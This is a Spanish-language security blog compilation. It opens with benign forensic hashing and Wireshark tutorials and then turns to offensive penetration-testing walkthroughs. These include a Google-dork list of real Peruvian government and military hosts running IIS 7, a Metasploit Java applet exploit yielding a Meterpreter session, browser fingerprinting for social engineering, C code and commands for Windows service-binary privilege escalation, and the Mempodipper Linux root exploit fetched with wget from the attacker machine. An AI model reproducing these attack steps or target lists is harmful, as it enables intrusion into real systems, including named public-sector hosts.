Obtener los Hashes de Todos los Archivos Residentes en un Sistema de Archivos

Body

Durante un proceso de análisis forense, se requiere frecuentemente obtener los hashes correspondientes a cada uno de los archivos residentes en un disco o dispositivo de almacenamiento. Para este propósito es factible utilizar el comando “find”, y una opción la cual permita ejecutar un comando sobre cada archivo encontrado. De esta manera será factible obtener una lista muy útil de los hashes para cada archivo.

Para el siguiente ejemplo se utiliza la imagen forense capturada desde un disco flexible.

Se procede a montar la imagen forense.

$ sudo mount -t vfat -o ro,noexec,loop practical.floppy.dd /mnt/floppy/

En el directorio donde se ha realizado el montado, se procede a realizar un listado recursivo de archivos y directorios.

$ ls -alR

Se ejecuta un comando el cual encontrará todos los archivos regulares residentes en el sistema de archivos, para luego ejecutar un comando el cual generará los hashes desde todos ellos.

El comando “find” permite buscar archivos. El “punto” indica iniciar la búsqueda en el directorio actual. La opción “-type f” indica buscar cualquier archivo regular. La opción “-exec” indicar ejecutar el comando “sha1sum” sobre todos los archivos encontrados. “{}”. La salida es redireccionada hacia un archivo de nombre “/tmp/hashes.txt”. El “\;” es una secuencia de escape para finalizar el comando “-exec”.

$ find . -type f -exec sha1sum {} \; > /tmp/hashes.txt

El resultado es una lista de archivos generados a partir del contenido en el punto de montaje y sus respectivos hashes SHA1.

$ cat /tmp/hashes.txt

También se puede utilizar Linux para hacer la verificación, y de esta manera corroborar nada ha sido cambiado en el dispositivo de almacenamiento original. Para esto puede utilizar la opción “-c” con el comando “sha1sum”. Si el contenido del dispositivo no ha sido alterado, el comando devolverá un “OK”.

$ sha1sum -c /tmp/hashes.txt

Los hashes SHA en el archivo serán comparados con los hashes SHA tomados desde el dispositivo de almacenamiento (en el punto de montaje). Si algo ha cambiado, el programa presentará un mensaje ”failed” o Fallido. Los archivos sin cambio serán marcados con un “OK”. Esta es la manera más rápida de verificar los hashes.

Anotar los nombres de archivos inician con “./”. Esto indica una ruta relativa. Eso significa se debe estar en el mismo directorio relativo cuando se verifiquen los hashes, pues es donde el comando buscará por los archivos.

Fuentes:

http://linux.die.net/man/1/find
http://linux.die.net/man/1/sha1sum
http://linuxleo.com/

Configurar Filtros en Wireshark

Body

Los filtros juegan un rol importante en la captura de paquetes. Mientras se trabaja en una LAN o mientras se capturan paquetes sobre un servidor hospedando diversos servicios, se pueden enfrentar problemas en la vigilancia de un protocolo o servicio particular. Para eliminar esto es necesario utilizar filtros. Los filtros pueden ser aplicados en dos lugares denominados como filtros de captura y filtros de muestra.

Filtros de captura

Los filtros de captura son aplicados para vigilar paquetes de manera selectiva. Filtrará o capturará únicamente el tráfico definido. Para hacer esta captura selectiva se debe pasar el comando de instrucciones hacia Wireshark.

La opción del filtro de captura puede ser ejecutado haciendo clic en el icono del menú “Edit Capture Filter” o Editar filtro de captura. De manera alterna, puede también ser ejecutado haciendo clic en “Capture -> Options” o Captura -> Opciones. Luego de lo cual se visualizará la ventana correspondiente.

Se puede ingresar opciones de filtrado en el campo de nombre “Capture Filter” o Filtro de Captura. También es factible hacer clic sobre “Capture Filter” y almacenar la regla de filtro de captura para uso futuro.

La pregunta ahora es ¿Cómo escribir una regla de filtrado?. Las reglas WinPcap para captura de paquetes siguen un patrón definido.

Por ejemplo; para capturar paquetes TCP donde el puerto origen es el 443, se puede utilizar la siguiente regla:

tcp src port 443

Para capturar ya sea tráfico entrante y saliente sobre el puerto 80 (HTTP), se puede utilizar la siguiente regla.

port 80

Para capturar paquetes donde la dirección IP origen es 72.21.91.29 y el número de puerto es el 80, se puede utilizar la siguiente regla.

src 72.21.91.29 and port 80

De esta manera se puede combinar diferentes condiciones para crear un filtro propio de captura y reducir el tráfico. Si no se aplica un filtro de captura, entonces todos los paquetes de red fluyendo a través de la interfaz serán capturados por Wireshark

Filtros de muestra

Los filtros de muestra también tienen un estructura definida. Por ejemplo; para visualizar los paquetes TCP capturados sobre el puerto 443 se puede utilizar el siguiente filtro de muestra.

tcp.port==443

El siguiente filtro mostrará únicamente los paquetes de una dirección IP en particular.

ip.addr==31.13.65.36

Ahora ya se puede realizar de manera rápida y fácil ambos tipos de filtros.

Fuentes:

https://www.wireshark.org/
https://www.wireshark.org/docs/wsug_html_chunked/
http://www.winpcap.org/docs/docs_40_2/html/main.html

Descripción de los Paneles en la Interfaz Gráfica de Wireshark

Body

La interfaz gráfica de usuario de Wireshark está constituida de diferentes paneles. De manera típica se puede dividir los paneles de la interfaz gráfica en cuatro áreas; panel de captura, panel de detalles del paquete, panel de bytes del paquete, y el panel de estado.

Panel de captura

El panel de captura muestra los paquetes de red capturados en un orden secuencial. Cada línea en esta lista refleja un sólo paquete capturado. Este panel inteligente divide la información en columnas y filas. Cada fila representa un sólo paquete de datos, mientras cada columna representa información adicional sobre el paquete.

Las columnas son las siguientes:

  • No.: (Número) Representa el número de secuencia del paquete para identificar de manera única los paquetes.
  • Time: (Tiempo) Representa la marca de tiempo cuando el paquete se capturó.
  • Source: (Origen) Representa la dirección IP o dispositivo desde donde proviene el paquete.
  • Destination: (Destino) Representa la dirección IP o dispositivo donde se dirige el paquete.
  • Protocol: (Protocolo) Representa el tipo de protocolo del paquete capturado.
  • Length: (Longitud) Representa el tamaño del paquete.
  • Info: (Información) Representa información adicional sobre el paquete.

Panel de detalles del paquete

Cuando se selecciona un único paquete de datos desde el panel de captura, su información detallada se muestra en el panel de detalles del paquete.

Contiene información detallada sobre los protocolos y sus diferentes parámetros en una estructura de árbol, el cual puede ser expandido o colapsado. Esta información puede ser muy útil en forense de redes.

Panel de bytes del paquete

El panel de bytes del paquete representa la información de los detalles del paquete en un volcado o formato actual. Mostrando la secuencia en bytes del flujo.

Aquí también la información se divide en tres columnas, donde la primera columna representa el desplazamiento de datos, la siguiente columna representa los datos en valores hexadecimales, y la última columna expone la representación ASCII de la información.

Por último, el panel de estado muestra el estado actual de la operación. Refleja información como el estado de la captura, cuenta de paquetes (capturados, mostrados, y/o marcados), y la ubicación del archivo donde los paquetes capturados son almacenados.

Fuentes:

https://www.wireshark.org/
https://www.wireshark.org/docs/wsug_html_chunked/

Interfaz Gráfica de Wireshark

Body

Wireshark es una analizador para protocolos de red. Un analizador de paquetes de red capturará paquetes de red e intentará mostrar los datos del paquete lo más detalladamente posible.

Al iniciar la ejecución de Wireshark se presenta su interfaz gráfica de usuario. El menú principal de Wireshark contiene algunos de los ítemes comúnmente conocidos de un menú; como “File” o Archivo, “Edit” o Editar, “View” o Visualizar, “Go” o Ir, “Analize” o Analizar, “Statistics” o Estadísticas, “Telephony” o Telefonía, “Tools” o Herramientas, “Internals” o “Internos” y “Help” o Ayuda.

A continuación de este menú principal se tiene un menú específico de iconos, los cuales son utilizados para lanzar rápidamente acciones comunes, los cuales son realizados durante la captura y análisis de paquetes.

De izquierda a derecha; “List the available capture interfaces” o Listar interfaces disponibles para captura, “Show de capture options” o Mostrar opciones para captura, “Start a new live capture”o Iniciar una nueva captura en vivo, “Stop the running live capture” o Detener la captura en vivo ejecutándose, “Restart the running live capture” o Reiniciar la captura en vivo ejecutándose, “Open a capture file” o Abrir un archivo capturado, “Save this capture file” o Guardar este archivo capturado, “Close this capture file” o Cerrar este archivo capturado, “Reload this capture file” o Recargar este archivo capturado, “Find a packet” o “Encontrar un paquete, “Go back in packet history” o Retroceder en el historial de paquetes, “Go forward in packet history” o Avanzar en el historial de paquetes, “Go to the packet with number” o Ir hacia el paquete con número, “Go to the first packet” o Ir hacia el primer paquete, “Go to the last packet” o Ir hacia el último paquete, “Colorize packet list” o Colorear lista de paquetes, “Auto scroll packet list in live capture” o Desplazar automáticamente la lista de paquetes en una captura en vivo, “Zoom in” o Acercar, “Zoom out” o Alejar, “Zoom 100%” o Enfocar el 100%, “Resize all columns” o Redimensionar todas las columnas, “Edit filter capture” o Editar filtro para captura, “Edit /apply display filter” o Editar/Aplicar filtro para visualizar, “Edit coloring rules” o Editar reglas para coloreo, “Edit preferences” o Editar preferencias, y “Show some help” o Mostrar alguna ayuda.

En la parte inferior del menú de iconos se encuentra un barra “Filter” o Filtrado. Esto se utiliza para aplicar rápidamente un filtro en particular sobre los paquetes capturados. Por ejemplo si se requiere únicamente visualizar tráfico HTTPS.

En la columna de nombre “Capture” o Captura, se encuentra “Interface List” o Lista de Interfaces; donde se lista las interfaces para la captura, “Start” o Inicio; donde se seleccionar una o más interfaces para realizar la captura, y “Capture Options” u Opciones para la Captura; donde se puede iniciar una captura con opciones detalladas.

En la columna de nombre “Files” o Archivos, se encuentra “Open” o Abrir; para abrir archivos capturados previamente. “Sample Captures” o “Muestras de capturas” permite acceder a un amplio repositorio ubicado en el wiki de Wireshark, conteniendo muestras de archivos capturados.

Finalmente la columna derecha de nombre “Online” o En Línea, permite visitar el sitio web del proyecto, acceder a la guía de usuario, y obtener información para trabajar de manera segura con Wireshark

Fuentes:

https://www.wireshark.org/
https://www.wireshark.org/docs/wsug_html_chunked/

Seleccionar la Interfaz de Red en Wireshark

Body

Wireshark es una analizador para protocolos de red. Un analizador de paquetes de red capturará paquetes de red e intentará mostrar los datos del paquete lo más detalladamente posible.

La primera y más fundamental acción a realizar con Wireshark, es seleccionar la interfaz de red sobre la cual se requiere capturar datos. Una vez instalado Wireshark en el sistema se procede a ejecutarlo. Luego de lo cual se presentará la interfaz típica de Wireshark, donde será factible seleccionar la interfaz de red.

Como se puede observar, en la columna ubicada en el lado izquierdo de la pantalla principal se muestran diferentes interfaces par la captura, ubicados bajo el título “Interface List” o Lista de Interfaces. Se puede seleccionar cualquier interfaz con la cual se requiera realizar un trabajo.

Por ejemplo, para capturar tráfico LAN fluyendo a través del sistema, se puede seleccionar la tarjeta de red instalada por defecto, en este caso “eth0”.

Una vez seleccionada la interfaz, proceder a hacer clic en el icono con la aleta de color verde ubicado en el menú superior, para iniciar una nueva captura en vivo.

El proceso para la captura de tráfico se inicia correctamente.

Para detener el proceso hacer clic en el icono con el recuadro de color rojo ubicado en el menú superior.

Fuentes:

https://www.wireshark.org/
https://www.wireshark.org/docs/wsug_html_chunked/

Encontrar Servidores Internet Information Services (IIS) 7 en Dominios gob.pe y mil.pe

Body

Internet Information Servicies (IIS) es un servidor web para Windows flexible, seguro y gestionable para hospedar cualquier contenido sobre la web. Desde streaming de medios hasta aplicaciones web. IIS tiene una arquitectura escalable y abierta lista para manejar las tareas más demandantes.

Google Hacking, es una técnica la cual utiliza el motor de búsqueda Google y otras aplicaciones, para encontrar diversa información, desde archivos conteniendo contraseñas hasta servidores vulnerables. Google Hacking implica utilizar los operadores avanzados de Google para realizar búsquedas y ubicar así cadenas específicas entre los resultados.

Generalmente a las consultas con los cuales se descubre sistemas vulnerables y/o información sensible se les denomina “googledorks”.

La siguiente demostración utiliza esta técnica para encontrar servidores utilizando IIS versión 7 en dominios gob.pe y mil.pe.

La búsqueda se basa en un análisis previo de como se estructura una página web por defecto de un servidor IIS 7. Luego de este análisis se utilizan los operadores de Google “site” e “intitle” para realizar la búsqueda adecuda.

El operador de nombre “site” busca por un sitio específico, puede ser combinado con otros operadores o utilizado sólo, puede ser utilizado también para buscar imágenes y en los grupos.

El operador de nombre “intitle” busca en el título de la página, puede ser combinado con otros operadores o utilizado sólo, puede ser utilizado también para buscar imágenes y en los grupos.

site:gob.pe intitle:IIS7

Se visualiza uno de los dominios gob.pe encontrados utilizando Google.

Los resultados obtenidos se guardan hacia un archivo, del cual utilizando comandos en Linux, es factible obtener un completo listado de los dominios gob.pe exponiendo la página web por defecto de IIS 7.



andromeda.vivienda.gob.pe
aplicaciones01.ana.gob.pe
aplicaciones.ana.gob.pe
aplicaciones.regionloreto.gob.pe
aplicativo.jovenesproductivos.gob.pe
app.regionucayali.gob.pe
apps.regiontacna.gob.pe
buscadorlf.contraloria.gob.pe
chat.sunarp.gob.pe
cometa.senamhi.gob.pe
febe.vivienda.gob.pe
gartqa1.osinerg.gob.pe
gfebi.osinerg.gob.pe
giserver.proviasnac.gob.pe
intranet.igss.gob.pe
intranet.sunass.gob.pe
kanban.minedu.gob.pe
meteonet.ana.gob.pe
muniajoyani.gob.pe
mvnethi.smv.gob.pe
nike.vivienda.gob.pe
ofi5.mef.gob.pe
olympusgart.osinerg.gob.pe
plataforma.foncodes.gob.pe
produccion.pnp.gob.pe
red-goes.senamhi.gob.pe
saf.cunamas.gob.pe
scrv_reporte.mtc.gob.pe
sel.agroideas.gob.pe
sel.migraciones.gob.pe
siagece.pronabec.gob.pe
siga.regionpasco.gob.pe:8080
sigobsweb.pcm.gob.pe
sinad.ugel01.gob.pe
sistemas.sutran.gob.pe
srvtest01.osinerg.gob.pe
ssmp.agrorural.gob.pe
swapps.cultura.gob.pe
tablerosies.minedu.gob.pe
talos.vivienda.gob.pe
temis.vivienda.gob.pe
usarperu.indeci.gob.pe
visorsig.oefa.gob.pe
winappcal.minag.gob.pe
www2. minjus.gob.pe
www. muniajoyani.gob.pe
www. munitrujillo.gob.pe:8080
zelo.vivienda.gob.pe

Se realiza el mismo procedimientos contra dominios mil.pe, obteniéndose un número menor de resultados.

site:mil.pe intitle:IIS7



mail.dhn.mil.pe
ftp.dhn.mil.pe
www. spincam.dhn.mil.pe

Se visualiza uno de los dominios mil.pe encontrados utilizando Google.

IIS 7 se entregaba con Windows Vista y Windows Server 2008. IIS 7. De esta manera se puede inferir el sistema operativo subyacente del sistema entre otra información útil. Como todo software también se han reportado vulnerabilidades.

Todos los dominios listados han sido obtenidos en la fecha de la presente publicación, y han sido recopilados utilizando el motor de búsqueda Google. No habiéndose realizado ningún tipo de prueba adicional contra ninguno de ellos.

Fuentes:

http://www.iis.net/
https://www.exploit-db.com/google-hacking-database/
https://www.cvedetails.com/vulnerability-list/vendor_id-26/product_id-3…

Explotar Vulnerabilidad en Java utilizando el Módulo java_jre17_jmxbean de MSF

Body

El módulo de nombre “Java Applet JMX Remote Code Execution” incluido en Metasploit Framework, se aprovecha de clases JMX desde un Applet Java para ejecutar código Java arbitrario fuera de la sandbox, como se explotó en enero del año 2013. Esta vulnerabilidad afecta versiones de Java 7u10 y anteriores.

Un atacante podría utilizar técnicas de ingeniería social para convencer a un usuario visite un enlace hacia un sitio web hospedando un applet Java malicioso. Un atacante también podría comprometer un sitio legítimo y subir un applet Java malicioso. Cualquier navegador utilizando el plug-in de Java 7 es afectado.

Iniciar Metasploit Framework y obtener información del módulo.

msf > info exploit/multi/browser/java_jre17_jmxbean

Indicar a Metasploit la utilización del módulo pertinente, para luego proceder a definir las opciones adecuadas.

msf > use exploit/multi/browser/java_jre17_jmxbean
msf exploit(java_jre17_jmxbean) > set SRVHOST 192.168.0.46
msf exploit(java_jre17_jmxbean) > set SRVPORT 80
msf exploit(java_jre17_jmxbean) > set URIPATH /
msf exploit(java_jre17_jmxbean) > show options

Al ejecutar el módulo se iniciará un servicio atendiendo en el puerto 80 de la dirección IP asignada a Kali Linux. También se ejecuta automáticamente un manejador TCP inverso en el puerto 4444.

msf exploit(java_jre17_jmxbean) > run

Desde un sistema Windows utilizando el navegador web Internet Explorer, se visita la URL maliciosa.

Se explota correctamente la vulnerabilidad en el navegador web del cliente y se ejecuta el “Payload”, lo cual apertura una sesión con Meterpreter. Luego utilizando el comando “sessions” se procede a interactuar con la sesión establecida, pudiendo realizar diversas acciones de post-explotación en el sistema comprometido, como obtener información fundamental del mismo utilizando el comando “sysinfo”.

msf exploit(java_jre17_jmxbean) > sessions -l
msf exploit(java_jre17_jmxbean) > sessions -i 1
meterpreter > sysinfo

Fuentes:

https://www.rapid7.com/db/modules/exploit/multi/browser/java_jre17_jmxb…
http://www.cvedetails.com/cve/cve-2013-0422
http://www.kb.cert.org/vuls/id/625617

Capturar Activamente Información desde un Cliente utilizando el Módulo browser_info de MSF

Body

La captura activa de información involucra un contacto directo con la organización objetivo y sus usuarios, en un intento por extraer información útil desde ellos. Entre la información básica a obtener se enumera el sistema operativo subyacente, la versión del navegador, y la disponibilidad de JavaScript en el navegador de la victima.

Http Client Information Gather, es un módulo de Metasploit Framework, el cual obtiene información sobre un navegador web, como el nombre del sistema operativo, versión del navegador, plugins, entre otra información. Por defecto el módulo devolverá un error 404 falsificado, pero se puede personalizar esta salida cambiando la opción “Custom404”, para redireccionar hacia una página web externa.

Iniciar Metasploit Framework, para luego obtener información sobre el módulo pertinente.

msf > info auxiliary/gather/browser_info

Indicar la utilización del módulo “browser_info” en Metasploit Framework. Luego definir las opciones adecuadas.

msf > use auxiliary/gather/browser_info
msf auxiliary(browser_info) > set SRVHOST 192.168.0.46
msf auxiliary(browser_info) > set SRVPORT 80
msf auxiliary(browser_info) > set URIPATH /
msf auxiliary(browser_info) > show options

Ejecutar el módulo. Lo cual iniciará un servicio atendiendo en el puerto 80 de la dirección IP asignada a Kali Linux.

msf auxiliary(browser_info) > run

Desde un sistema Windows se procede a utilizar un navegador web para visitar la página. La información obtenida indica es un sistema operativo Windows 8.1, Internet Explorer versión 11.0, soporte JavaScript en el navegador y también soporte flash, entre otra información relevante.

Nuevamente desde un sistema Windows se procede a utilizar otro navegador web para visitar la página. La información obtenida indica es un sistema operativo Windows 8.1, Firefox versión 35.0, soporte JavaScript y Silverlight, entre otra información relevante.

La mayoría de ataques del lado del cliente requieren algún tipo de interacción con el objetivo; ya sea hacer clic en un enlace, abrir un mensaje de correo electrónico, ejecutar un archivo adjunto, abrir un documento, u otra acción. Obtener la información antes detallada aunada con la ingeniería social, incrementa las probabilidades de un ataque exitoso contra los clientes o usuarios.

Fuentes:

https://www.rapid7.com/db/modules/auxiliary/gather/browser_info
https://github.com/rapid7/metasploit-framework/blob/master/modules/auxi…

Escalar Privilegios utilizando Permisos Incorrectos en Servicios y Archivos

Body

En pruebas de penetración, frecuentemente el procedimiento para escalar privilegios se puede alcanzar encontrando algunas malas configuraciones sobre el sistema comprometido, en lugar de explotar activamente un servicio vulnerable con privilegios elevados. Esto es especialmente cierto en entornos corporativos, donde los parches y actualizaciones son instalados regularmente, dejando una relativamente pequeña superficie vulnerable de ataque.

El software es propenso a errores. Sin embargo la validación de las entradas no es el único problema por el cual los desarrolladores de software deberían preocuparse. Como ejemplo el siguiente escenario.

Un desarrollador de software crea un programa el cual se ejecuta como un servicio de Windows. Durante la instalación del programa, el desarrollador no tiene cuidado en verificar los permisos de acceso del archivo utilizado por el servicio, y el archivo se deja en un estado donde el grupo de Windows “Everyone” tiene acceso completo de lectura y escritura sobre el archivo. Esto podría permitir a un usuario de bajos privilegios reemplazar el archivo afectado con un archivo malicioso. La siguiente vez el servicio sea reiniciado o la máquina sea reiniciada, el archivo malicioso será ejecutado con privilegios de “SYSTEM”.

Para la siguiente demostración se utiliza el servicio de nombre “scsiaccess” instalado por el programa Photodex ProShow Producer en su versión 5.0.3310.

Se crea un ejecutable para sistemas Windows, el cual agregará a un usuario regular de Windows de nombre “julia” hacia el grupo de administradores locales. El código a utilizar será el presentado a continuación.

#include <stdlib.h>     /* system, NULL, EXIT_FAILURE */ 
int main () 
{ 
    int i;
    i=system ("net localgroup administrators julia /add"); 
    return 0; 
}


Se utiliza la herramienta MinGW, una contracción para “GNU Minimalista para Windows”, el cual es un entorno de desarrollo minimalista para aplicaciones nativas Micrososft Windows.

# i686-w64-mingw32-gcc -v -o /tmp/scsiaccess.exe useradd.c

Se verifica la creación del archivo, para luego ejecutar el comando “file” sobre el archivo creado. Se comprueba es un archivo ejecutable para sistemas Microsoft Windows.

# ls -l /tmp/scsiaccess.exe
# file /tmp/scsiaccess.exe

Habiendo obtenido previamente acceso shell en línea de comandos sobre un sistema Windows comprometido, se ejecuta el comando de nombre “icacls”, el cual permite mostrar o modificar DACLs sobre archivos específicos, y aplica DCALs almacenados hacia archivos en directorios específicos. Esto nos permite verificar permisos inseguros en el archivo “scsiaccess.exe”.

C:\Program Files\Photodex\ProShow Producer>icacls scsiaccess.exe

Se verifica la información del usuario local con bajos privilegios.

C:\Program Files\Photodex\ProShow Producer>whoami

Utilizando cualquier técnica para realizar la transferencia de archivos hacia el sistema Windows comprometido, se debe transferir el archivo de nombre “scsiaccess.exe” compilado en Kali Linux, para luego reemplazar el archivo original por el archivo malicioso.

C:\Program Files\Photodex\ProShow Producer>copy C:\Users\julia\Downloads\scsiaccess.exe scsiaccess.exe

Ahora sólo se debe esperar pacientemente por un reinicio del servicio o el reinicio del sistema. Si todo ha sido realizado correctamente, cuando ello ocurra, el archivo malicioso “scsiaccess.exe” se ejecutará con los privilegios de SYSTEM, lo cual agregará el usuario de nombre “julia” hacia el grupo de administradores.

C:\Program Files\Photodex\ProShow Producer>net localgroup administrators

Fuentes:

http://www.mingw.org/
http://www.photodex.com/proshow/producer
https://technet.microsoft.com/en-us/library/cc753525(v=ws.11).aspx

Escalar Privilegios Localmente en un Sistema Linux utilizando Mempodipper

Body

La descripción del CVE-2012-0056 indica la función “mem_write” en los Kernel de Linux anteriores a 3.2.2, cuando ASLR está deshabilitado, no verifica adecuadamente los permisos cuando escribe hacia "/proc/<pid>/mem”, lo cual permite a usuarios locales ganar privilegios mediante la modificación de procesos en memoria, como es demostrado por Mempodipper.

Mempodipper es un exploit para el CVE-2012-0056. “/proc/<pid>/mem” es una interfaz para leer y escribir directamente procesos en memoria, buscando alrededor con la mismas direcciones como espacio de memoria virtual del proceso. En 2.6.39, las protecciones contra acceso no autorizado hacia “/proc/<pid>/mem” fueron considerados suficientes, por lo cual se eliminó #ifdef quien prevenía soporte de escritura para escribir hacia procesos de memoria arbitrarios. Cualquiera con los permisos correctos podría escribir hacia procesos de memoria. Resultando de hecho, en una pobre comprobación de permisos. Lo cual significa, todos los Kernels de Linux mayores o iguales a 2.6.39 son vulnerables hasta ser actualizados.

Para la siguiente demostración se utiliza una máquina Ubuntu Server 11.10 x86, en el cual ya se tiene acceso shell de comandos con un usuario no privilegiado.

Descargar el archivo conteniendo el “exploit”, por ejemplo desde el sitio web de Exploit-DB. O ubicarla en la copia local de Exploit-DB incluida en Kali Linux.

Copiar el archivo conteniendo el “exploit” de nombre “18411.c”; nombre de archivo asignado por Exploit-DB; hacia el directorio web raíz de Kali Linux.

# cp 18411.c /var/www/html/

En el sistema Linux comprometido se descarga el archivo conteniendo el “exploit” desde el servidor web en Kali Linux.

$ wget http:// 192.168. 0.46/18411.c

Se procede a compilar el “exploit”. La opción "-o" de gcc define el nombre del archivo generado por la compilación.

$ gcc -o 18411 18411.c

Se ejecuta el archivo conteniendo el código de explotación.

$ ./18411

La vulnerabilidad en el Kernel de este sistema Linux ha sido satisfactoriamente explotada, proporcionando privilegios de “root” sobre la máquina. Esto permite tener su control absoluto.

Fuentes:

https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-0056
https://git.zx2c4.com/CVE-2012-0056/about/
https://git.zx2c4.com/CVE-2012-0056/tree/mempodipper.c
http://old-releases.ubuntu.com/releases/
https://coderwall.com/p/3n6xka/fix-apt-on-old-unsupported-ubuntu-releas…
https://virtualboxes.org/images/ubuntu-server/